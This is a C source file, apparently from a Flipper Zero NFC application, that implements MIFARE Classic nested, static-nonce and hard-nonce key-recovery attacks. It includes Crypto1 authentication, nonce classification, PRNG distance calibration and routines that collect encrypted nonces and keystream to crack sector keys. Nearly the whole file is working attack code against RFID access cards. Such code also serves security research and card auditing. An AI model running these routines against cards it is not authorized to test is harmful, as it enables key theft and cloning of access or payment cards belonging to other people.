nested.c 19 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740
  1. #include "nested.h"
  2. #include <furi_hal_nfc.h>
  3. #include "../../lib/parity/parity.h"
  4. #include "../../lib/crypto1/crypto1.h"
  5. #define TAG "Nested"
  6. void nfc_util_num2bytes(uint64_t src, uint8_t len, uint8_t* dest) {
  7. furi_assert(dest);
  8. furi_assert(len <= 8);
  9. while(len--) {
  10. dest[len] = (uint8_t)src;
  11. src >>= 8;
  12. }
  13. }
  14. uint64_t nfc_util_bytes2num(const uint8_t* src, uint8_t len) {
  15. furi_assert(src);
  16. furi_assert(len <= 8);
  17. uint64_t res = 0;
  18. while(len--) {
  19. res = (res << 8) | (*src);
  20. src++;
  21. }
  22. return res;
  23. }
  24. uint16_t nfca_get_crc16(uint8_t* buff, uint16_t len) {
  25. uint16_t crc = 0x6363; // NFCA_CRC_INIT
  26. uint8_t byte = 0;
  27. for(uint8_t i = 0; i < len; i++) {
  28. byte = buff[i];
  29. byte ^= (uint8_t)(crc & 0xff);
  30. byte ^= byte << 4;
  31. crc = (crc >> 8) ^ (((uint16_t)byte) << 8) ^ (((uint16_t)byte) << 3) ^
  32. (((uint16_t)byte) >> 4);
  33. }
  34. return crc;
  35. }
  36. void nfca_append_crc16(uint8_t* buff, uint16_t len) {
  37. uint16_t crc = nfca_get_crc16(buff, len);
  38. buff[len] = (uint8_t)crc;
  39. buff[len + 1] = (uint8_t)(crc >> 8);
  40. }
  41. bool mifare_sendcmd_short(
  42. Crypto1* crypto,
  43. FuriHalNfcTxRxContext* tx_rx,
  44. bool crypted,
  45. uint32_t cmd,
  46. uint32_t data) {
  47. uint16_t pos;
  48. uint8_t dcmd[4] = {cmd, data, 0x00, 0x00};
  49. nfca_append_crc16(dcmd, 2);
  50. memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
  51. memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
  52. if(crypted) {
  53. for(pos = 0; pos < 4; pos++) {
  54. uint8_t res = crypto1_byte(crypto, 0x00, 0) ^ dcmd[pos];
  55. tx_rx->tx_data[pos] = res;
  56. tx_rx->tx_parity[0] |=
  57. (((crypto1_filter(crypto->odd) ^ oddparity8(dcmd[pos])) & 0x01) << (7 - pos));
  58. }
  59. tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
  60. tx_rx->tx_bits = 4 * 8;
  61. } else {
  62. for(pos = 0; pos < 2; pos++) {
  63. tx_rx->tx_data[pos] = dcmd[pos];
  64. }
  65. tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRxNoCrc;
  66. tx_rx->tx_bits = 2 * 8;
  67. }
  68. if(!furi_hal_nfc_tx_rx(tx_rx, 6)) return false;
  69. return true;
  70. }
  71. bool mifare_classic_authex(
  72. Crypto1* crypto,
  73. FuriHalNfcTxRxContext* tx_rx,
  74. uint32_t uid,
  75. uint32_t blockNo,
  76. uint32_t keyType,
  77. uint64_t ui64Key,
  78. bool isNested,
  79. uint32_t* ntptr) {
  80. uint32_t nt, ntpp; // Supplied tag nonce
  81. uint8_t nr[4];
  82. // "random" reader nonce:
  83. nfc_util_num2bytes(prng_successor(0, 32), 4, nr); // DWT->CYCCNT
  84. // Transmit MIFARE_CLASSIC_AUTH
  85. if(!mifare_sendcmd_short(crypto, tx_rx, isNested, 0x60 + (keyType & 0x01), blockNo)) {
  86. return false;
  87. };
  88. memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
  89. memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
  90. nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
  91. if(isNested) crypto1_reset(crypto); // deinit
  92. crypto1_init(crypto, ui64Key);
  93. if(isNested) {
  94. nt = crypto1_word(crypto, nt ^ uid, 1) ^ nt;
  95. } else {
  96. crypto1_word(crypto, nt ^ uid, 0);
  97. }
  98. // save Nt
  99. if(ntptr) *ntptr = nt;
  100. // Generate (encrypted) nr+parity by loading it into the cipher (Nr)
  101. tx_rx->tx_parity[0] = 0;
  102. for(uint8_t i = 0; i < 4; i++) {
  103. tx_rx->tx_data[i] = crypto1_byte(crypto, nr[i], 0) ^ nr[i];
  104. tx_rx->tx_parity[0] |=
  105. (((crypto1_filter(crypto->odd) ^ oddparity8(nr[i])) & 0x01) << (7 - i));
  106. }
  107. nt = prng_successor(nt, 32);
  108. for(uint8_t i = 4; i < 8; i++) {
  109. nt = prng_successor(nt, 8);
  110. tx_rx->tx_data[i] = crypto1_byte(crypto, 0x00, 0) ^ (nt & 0xff);
  111. tx_rx->tx_parity[0] |=
  112. (((crypto1_filter(crypto->odd) ^ oddparity8(nt & 0xff)) & 0x01) << (7 - i));
  113. }
  114. tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
  115. tx_rx->tx_bits = 8 * 8;
  116. if(!furi_hal_nfc_tx_rx(tx_rx, 25)) {
  117. return false;
  118. };
  119. uint32_t answer = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
  120. ntpp = prng_successor(nt, 32) ^ crypto1_word(crypto, 0, 0);
  121. if(answer != ntpp) {
  122. return false;
  123. }
  124. return true;
  125. }
  126. static int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, const uint8_t* parity) {
  127. return ((oddparity8((Nt >> 24) & 0xFF) ==
  128. ((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ FURI_BIT(Ks1, 16))) &&
  129. (oddparity8((Nt >> 16) & 0xFF) ==
  130. ((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ FURI_BIT(Ks1, 8))) &&
  131. (oddparity8((Nt >> 8) & 0xFF) ==
  132. ((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ FURI_BIT(Ks1, 0)))) ?
  133. 1 :
  134. 0;
  135. }
  136. void nonce_distance(uint32_t* msb, uint32_t* lsb) {
  137. uint16_t x = 1, pos;
  138. uint8_t calc_ok = 0;
  139. for(uint16_t i = 1; i; ++i) {
  140. pos = (x & 0xff) << 8 | x >> 8;
  141. if((pos == *msb) & !(calc_ok >> 0 & 0x01)) {
  142. *msb = i;
  143. calc_ok |= 0x01;
  144. }
  145. if((pos == *lsb) & !(calc_ok >> 1 & 0x01)) {
  146. *lsb = i;
  147. calc_ok |= 0x02;
  148. }
  149. if(calc_ok == 0x03) {
  150. return;
  151. }
  152. x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
  153. }
  154. }
  155. bool validate_prng_nonce(uint32_t nonce) {
  156. uint32_t msb = nonce >> 16;
  157. uint32_t lsb = nonce & 0xffff;
  158. nonce_distance(&msb, &lsb);
  159. return ((65535 - msb + lsb) % 65535) == 16;
  160. }
  161. MifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo) {
  162. uint32_t nonces[5] = {};
  163. uint8_t sameNonces = 0;
  164. uint8_t hardNonces = 0;
  165. Crypto1 crypt;
  166. Crypto1* crypto = {&crypt};
  167. for(int32_t i = 0; i < 5; i++) {
  168. // Setup nfc poller
  169. nfc_activate();
  170. furi_hal_nfc_activate_nfca(100, NULL);
  171. // Start communication
  172. bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60, blockNo);
  173. if(!success) {
  174. continue;
  175. };
  176. uint32_t nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
  177. if(nt == 0) continue;
  178. if(!validate_prng_nonce(nt)) hardNonces++;
  179. nonces[i] = nt;
  180. nfc_deactivate();
  181. }
  182. for(int32_t i = 0; i < 5; i++) {
  183. for(int32_t j = 0; j < 5; j++) {
  184. if(i != j && nonces[j] && nonces[i] == nonces[j]) {
  185. sameNonces++;
  186. }
  187. }
  188. }
  189. if(!nonces[4]) {
  190. return MifareNestedNonceNoTag;
  191. }
  192. if(sameNonces > 3) {
  193. return MifareNestedNonceStatic;
  194. }
  195. if(hardNonces > 3) {
  196. return MifareNestedNonceHard;
  197. }
  198. return MifareNestedNonceWeak;
  199. }
  200. struct nonce_info_static nested_static_nonce_attack(
  201. FuriHalNfcTxRxContext* tx_rx,
  202. uint8_t blockNo,
  203. uint8_t keyType,
  204. uint8_t targetBlockNo,
  205. uint8_t targetKeyType,
  206. uint64_t ui64Key) {
  207. uint32_t cuid = 0;
  208. Crypto1* crypto = malloc(sizeof(Crypto1));
  209. struct nonce_info_static r;
  210. r.full = false;
  211. // Setup nfc poller
  212. nfc_activate();
  213. if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
  214. free(crypto);
  215. return r;
  216. }
  217. r.cuid = cuid;
  218. uint32_t nt1;
  219. uint32_t nt_unused;
  220. crypto1_reset(crypto);
  221. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  222. if(targetKeyType == 1 && nt1 == 0x009080A2) {
  223. r.target_nt[0] = prng_successor(nt1, 161);
  224. r.target_nt[1] = prng_successor(nt1, 321);
  225. } else {
  226. r.target_nt[0] = prng_successor(nt1, 160);
  227. r.target_nt[1] = prng_successor(nt1, 320);
  228. }
  229. bool success =
  230. mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
  231. if(!success) {
  232. free(crypto);
  233. return r;
  234. };
  235. uint32_t nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
  236. r.target_ks[0] = nt2 ^ r.target_nt[0];
  237. nfc_activate();
  238. if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
  239. free(crypto);
  240. return r;
  241. }
  242. crypto1_reset(crypto);
  243. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  244. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt_unused);
  245. success =
  246. mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
  247. free(crypto);
  248. if(!success) {
  249. return r;
  250. };
  251. uint32_t nt3 = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
  252. r.target_ks[1] = nt3 ^ r.target_nt[1];
  253. r.full = true;
  254. nfc_deactivate();
  255. return r;
  256. }
  257. uint32_t nested_calibrate_distance(
  258. FuriHalNfcTxRxContext* tx_rx,
  259. uint8_t blockNo,
  260. uint8_t keyType,
  261. uint64_t ui64Key,
  262. uint32_t delay,
  263. bool full) {
  264. uint32_t cuid = 0;
  265. Crypto1* crypto = malloc(sizeof(Crypto1));
  266. uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
  267. uint32_t max_prng_value = full ? 65565 : 1200;
  268. uint32_t rounds = full ? 5 : 17; // full does not require precision
  269. uint32_t collected = 0;
  270. for(rtr = 0; rtr < rounds; rtr++) {
  271. nfc_activate();
  272. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  273. if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1)) {
  274. continue;
  275. }
  276. furi_delay_us(delay);
  277. if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2)) {
  278. continue;
  279. }
  280. // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
  281. uint32_t nttmp = prng_successor(nt1, 100);
  282. for(i = 101; i < max_prng_value; i++) {
  283. nttmp = prng_successor(nttmp, 1);
  284. if(nttmp == nt2) break;
  285. }
  286. if(i != max_prng_value) {
  287. if(rtr != 0) {
  288. davg += i;
  289. dmin = MIN(dmin, i);
  290. dmax = MAX(dmax, i);
  291. } else {
  292. dmin = dmax = i;
  293. }
  294. FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
  295. collected++;
  296. } else {
  297. unsuccessful_tries++;
  298. if(unsuccessful_tries > 12) {
  299. free(crypto);
  300. FURI_LOG_E(
  301. TAG,
  302. "Tag isn't vulnerable to nested attack (random numbers are not predictable)");
  303. return 0;
  304. }
  305. }
  306. }
  307. if(collected > 1) davg = (davg + (collected - 1) / 2) / (collected - 1);
  308. davg = MIN(MAX(dmin, davg), dmax);
  309. FURI_LOG_I(
  310. TAG,
  311. "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu collected=%lu",
  312. rtr,
  313. dmin,
  314. dmax,
  315. davg,
  316. collected);
  317. free(crypto);
  318. nfc_deactivate();
  319. return davg;
  320. }
  321. struct distance_info nested_calibrate_distance_info(
  322. FuriHalNfcTxRxContext* tx_rx,
  323. uint8_t blockNo,
  324. uint8_t keyType,
  325. uint64_t ui64Key) {
  326. uint32_t cuid = 0;
  327. Crypto1* crypto = malloc(sizeof(Crypto1));
  328. uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
  329. struct distance_info r;
  330. r.min_prng = 0;
  331. r.max_prng = 0;
  332. r.mid_prng = 0;
  333. for(rtr = 0; rtr < 10; rtr++) {
  334. nfc_activate();
  335. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  336. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  337. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  338. // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
  339. uint32_t nttmp = prng_successor(nt1, 1);
  340. for(i = 2; i < 65565; i++) {
  341. nttmp = prng_successor(nttmp, 1);
  342. if(nttmp == nt2) break;
  343. }
  344. if(i != 65565) {
  345. if(rtr != 0) {
  346. davg += i;
  347. if(dmin == 0) {
  348. dmin = i;
  349. } else {
  350. dmin = MIN(dmin, i);
  351. }
  352. dmax = MAX(dmax, i);
  353. }
  354. FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
  355. } else {
  356. unsuccessful_tries++;
  357. if(unsuccessful_tries > 12) {
  358. free(crypto);
  359. FURI_LOG_E(
  360. TAG,
  361. "Tag isn't vulnerable to nested attack (random numbers are not predictable)");
  362. return r;
  363. }
  364. }
  365. }
  366. if(rtr > 1) davg = (davg + (rtr - 1) / 2) / (rtr - 1);
  367. FURI_LOG_I(
  368. TAG, "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu", rtr, dmin, dmax, davg);
  369. r.min_prng = dmin;
  370. r.max_prng = dmax;
  371. r.mid_prng = davg;
  372. free(crypto);
  373. nfc_deactivate();
  374. return r;
  375. }
  376. struct nonce_info nested_attack(
  377. FuriHalNfcTxRxContext* tx_rx,
  378. uint8_t blockNo,
  379. uint8_t keyType,
  380. uint8_t targetBlockNo,
  381. uint8_t targetKeyType,
  382. uint64_t ui64Key,
  383. uint32_t distance,
  384. uint32_t delay) {
  385. uint32_t cuid = 0;
  386. Crypto1* crypto = malloc(sizeof(Crypto1));
  387. uint8_t par_array[4] = {0x00};
  388. uint32_t nt1, nt2, ks1, i = 0, j = 0;
  389. struct nonce_info r;
  390. uint32_t dmin = distance - 2;
  391. uint32_t dmax = distance + 2;
  392. r.full = false;
  393. for(i = 0; i < 2; i++) { // look for exactly two different nonces
  394. r.target_nt[i] = 0;
  395. while(r.target_nt[i] == 0) { // continue until we have an unambiguous nonce
  396. nfc_activate();
  397. if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
  398. free(crypto);
  399. return r;
  400. }
  401. r.cuid = cuid;
  402. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  403. furi_delay_us(delay);
  404. bool success = mifare_sendcmd_short(
  405. crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
  406. if(!success) continue;
  407. nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
  408. // Parity validity check
  409. for(j = 0; j < 4; j++) {
  410. par_array[j] =
  411. (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
  412. }
  413. uint32_t ncount = 0;
  414. uint32_t nttest = prng_successor(nt1, dmin - 1);
  415. for(j = dmin; j < dmax + 1; j++) {
  416. nttest = prng_successor(nttest, 1);
  417. ks1 = nt2 ^ nttest;
  418. if(valid_nonce(nttest, nt2, ks1, par_array)) {
  419. if(ncount > 0) { // we are only interested in disambiguous nonces, try again
  420. FURI_LOG_D(TAG, "Nonce#%lu: dismissed (ambiguous), ntdist=%lu", i + 1, j);
  421. r.target_nt[i] = 0;
  422. break;
  423. }
  424. if(delay) {
  425. // will predict later
  426. r.target_nt[i] = nt1;
  427. r.target_ks[i] = nt2;
  428. } else {
  429. r.target_nt[i] = nttest;
  430. r.target_ks[i] = ks1;
  431. }
  432. memcpy(&r.parity[i], par_array, 4);
  433. ncount++;
  434. if(i == 1 &&
  435. (r.target_nt[0] == r.target_nt[1] ||
  436. r.target_ks[0] == r.target_ks[1])) { // we need two different nonces
  437. r.target_nt[i] = 0;
  438. FURI_LOG_D(TAG, "Nonce#2: dismissed (= nonce#1), ntdist=%lu", j);
  439. break;
  440. }
  441. FURI_LOG_D(TAG, "Nonce#%lu: valid, ntdist=%lu", i + 1, j);
  442. }
  443. }
  444. if(r.target_nt[i] == 0 && j == dmax + 1) {
  445. FURI_LOG_D(TAG, "Nonce#%lu: dismissed (all invalid)", i + 1);
  446. }
  447. }
  448. }
  449. if(r.target_nt[0] && r.target_nt[1]) {
  450. r.full = true;
  451. }
  452. free(crypto);
  453. nfc_deactivate();
  454. return r;
  455. }
  456. struct nonce_info_hard nested_hard_nonce_attack(
  457. FuriHalNfcTxRxContext* tx_rx,
  458. uint8_t blockNo,
  459. uint8_t keyType,
  460. uint8_t targetBlockNo,
  461. uint8_t targetKeyType,
  462. uint64_t ui64Key,
  463. uint32_t* found,
  464. uint32_t* first_byte_sum,
  465. Stream* file_stream) {
  466. uint32_t cuid = 0;
  467. uint8_t same = 0;
  468. uint64_t previous = 0;
  469. Crypto1* crypto = malloc(sizeof(Crypto1));
  470. uint8_t par_array[4] = {0x00};
  471. struct nonce_info_hard r;
  472. r.full = false;
  473. r.static_encrypted = false;
  474. for(uint32_t i = 0; i < 8; i++) {
  475. nfc_activate();
  476. if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
  477. free(crypto);
  478. return r;
  479. }
  480. r.cuid = cuid;
  481. if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, NULL))
  482. continue;
  483. if(!mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo))
  484. continue;
  485. uint64_t nt = nfc_util_bytes2num(tx_rx->rx_data, 4);
  486. for(uint32_t j = 0; j < 4; j++) {
  487. par_array[j] =
  488. (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
  489. }
  490. uint8_t pbits = 0;
  491. for(uint8_t j = 0; j < 4; j++) {
  492. uint8_t p = oddparity8(tx_rx->rx_data[j]);
  493. if(par_array[j]) {
  494. p ^= 1;
  495. }
  496. pbits <<= 1;
  497. pbits |= p;
  498. }
  499. // update unique nonces
  500. if(!found[tx_rx->rx_data[0]]) {
  501. *first_byte_sum += evenparity32(pbits & 0x08);
  502. found[tx_rx->rx_data[0]]++;
  503. }
  504. if(nt == previous) {
  505. same++;
  506. }
  507. previous = nt;
  508. FuriString* row = furi_string_alloc_printf("%llu|%u\n", nt, pbits);
  509. stream_write_string(file_stream, row);
  510. FURI_LOG_D(TAG, "Accured %lu/8 nonces", i + 1);
  511. furi_string_free(row);
  512. }
  513. if(same > 4) {
  514. r.static_encrypted = true;
  515. }
  516. r.full = true;
  517. free(crypto);
  518. nfc_deactivate();
  519. return r;
  520. }
  521. NestedCheckKeyResult nested_check_key(
  522. FuriHalNfcTxRxContext* tx_rx,
  523. uint8_t blockNo,
  524. uint8_t keyType,
  525. uint64_t ui64Key) {
  526. uint32_t cuid = 0;
  527. uint32_t nt;
  528. nfc_activate();
  529. if(!furi_hal_nfc_activate_nfca(200, &cuid)) return NestedCheckKeyNoTag;
  530. FURI_LOG_D(
  531. TAG, "Checking %c key %012llX for block %u", !keyType ? 'A' : 'B', ui64Key, blockNo);
  532. Crypto1* crypto = malloc(sizeof(Crypto1));
  533. bool success =
  534. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt);
  535. free(crypto);
  536. nfc_deactivate();
  537. return success ? NestedCheckKeyValid : NestedCheckKeyInvalid;
  538. }
  539. bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType) {
  540. uint32_t cuid = 0;
  541. nfc_activate();
  542. if(!furi_hal_nfc_activate_nfca(200, &cuid)) return false;
  543. Crypto1* crypto = malloc(sizeof(Crypto1));
  544. bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60 + (keyType & 0x01), blockNo);
  545. free(crypto);
  546. nfc_deactivate();
  547. return success;
  548. }
  549. void nested_get_data(FuriHalNfcDevData* dev_data) {
  550. nfc_activate();
  551. furi_hal_nfc_detect(dev_data, 400);
  552. nfc_deactivate();
  553. }
  554. void nfc_activate() {
  555. nfc_deactivate();
  556. // Setup nfc poller
  557. furi_hal_nfc_exit_sleep();
  558. furi_hal_nfc_ll_txrx_on();
  559. furi_hal_nfc_ll_poll();
  560. if(furi_hal_nfc_ll_set_mode(
  561. FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106) !=
  562. FuriHalNfcReturnOk)
  563. return;
  564. furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER);
  565. furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER);
  566. furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc);
  567. furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA);
  568. }
  569. void nfc_deactivate() {
  570. furi_hal_nfc_ll_txrx_off();
  571. furi_hal_nfc_start_sleep();
  572. furi_hal_nfc_sleep();
  573. }